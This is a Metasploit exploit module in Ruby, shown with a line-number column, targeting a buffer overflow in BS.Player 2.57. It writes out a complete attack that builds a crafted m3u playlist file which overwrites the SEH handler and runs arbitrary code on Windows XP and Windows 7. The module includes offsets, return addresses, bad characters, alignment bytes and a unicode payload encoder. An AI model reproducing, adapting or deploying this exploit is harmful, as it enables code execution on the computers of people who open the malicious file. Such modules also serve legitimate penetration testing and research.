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| 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 | ## # $Id: $ ## ## # This file is part of the Metasploit Framework and may be subject to # redistribution and commercial restrictions. Please see the Metasploit # Framework web site for more information on licensing and terms of use. # http://metasploit.com/framework/ ## require 'msf/core' class Metasploit3 < Msf::Exploit::Remote Rank = NormalRanking include Msf::Exploit::FILEFORMAT include Msf::Exploit::Seh def initialize(info = {}) super(update_info(info, 'Name' => 'BS.Player 2.57 Buffer Overflow Exploit (Unicode SEH)', 'Description' => %q{ This module exploits a buffer overflow in BS.Player 2.57. When the playlist import is used to import a specially crafted m3u file, a buffer overflow occurs allowing arbitrary code execution. }, 'License' => MSF_LICENSE, 'Author' => [ 'C4SS!0 G0M3S ', # Original Exploit 'Chris Gabriel', # MSF Module #Greets: Corelan team for mona.py & awesome tutorials ], 'References' => [ [ 'URL', 'http://www.exploit-db.com/exploits/15934/' ] ], 'DefaultOptions' => { 'ExitFunction' => 'process', #'InitialAutoRunScript' => 'migrate -f', }, 'Platform' => 'win', 'Payload' => { 'Space' => 2000, 'BadChars' => "\x00\x0a\x0d\x1a\x80", 'DisableNops' => true, 'StackAdjustment' => -3500, }, 'Targets' => [ [ 'Windows XP', { 'Ret' => "\x2f\x49", 'Offset' => 4102 } ], # pop ecx # pop ebp # ret 0c | startnull,unicode,asciiprint,ascii {PAGE_EXECUTE_READWRITE} [bsplayer.exe] ASLR: False, Rebase: False, SafeSEH: False, OS: False, v2.5.7.1051 (bsplayer.exe) [ 'Windows 7', { 'Ret' => "\x2f\x49", 'Offset' => 4102 } ], # pop ecx # pop ebp # ret 0c | startnull,unicode,asciiprint,ascii {PAGE_EXECUTE_READWRITE} [bsplayer.exe] ASLR: False, Rebase: False, SafeSEH: False, OS: False, v2.5.7.1051 (bsplayer.exe) ], 'Privileged' => false, 'DisclosureDate' => 'Jan 07 2010', 'DefaultTarget' => 0)) register_options([OptString.new('FILENAME', [ false, 'The file name.', 'msf.m3u']),], self.class) end def exploit nseh = "\x61\x42" align = "\x58"# POP EAX align+= "\x6d"# PAD align+= "\x58"# POP EAX align+= "\x6d"# PAD align+= "\x58"# POP EAX align+= "\x6d"# PAD align+= "\x58"# POP EAX align+= "\x6d"# PAD align+= "\x58"# POP EAX align+= "\x6d"# PAD align+= "\x58"# POP EAX align+= "\x6d"# PAD align+= "\x58"# POP EAX align+= "\x6d"# PAD align+= "\x58"# POP EAX align+= "\x6d"# PAD align+= "\x58"# POP EAX align+= "\x6d"# PAD align+= "\x58"# POP EAX align+= "\x6d"# PAD align+= "\x58"# POP EAX align+= "\x6d"# PAD align+= "\x58"# POP EAX align+= "\x6d"# PAD align+= "\x58"# POP EAX align+= "\x6d"# PAD align+= "\x50"# PUSH EAX align+= "\x6d"# PAD align+= "\xc3"# RET if target == targets[0] then padding = rand_text_alpha_lower(1879) elsif target == targets[1] then padding = rand_text_alpha_lower(1931) end enc = framework.encoders.create('x86/unicode_mixed') register_to_align_to = "EAX" enc.datastore.import_options_from_hash({ 'BufferRegister' => register_to_align_to }) unicodepayload = enc.encode(payload.encoded, nil, nil, platform) buffer= "http://" buffer << rand_text_alpha_lower(target['Offset']) buffer << nseh buffer << target['Ret'] buffer << align buffer << padding buffer << unicodepayload file_create(buffer) end end |
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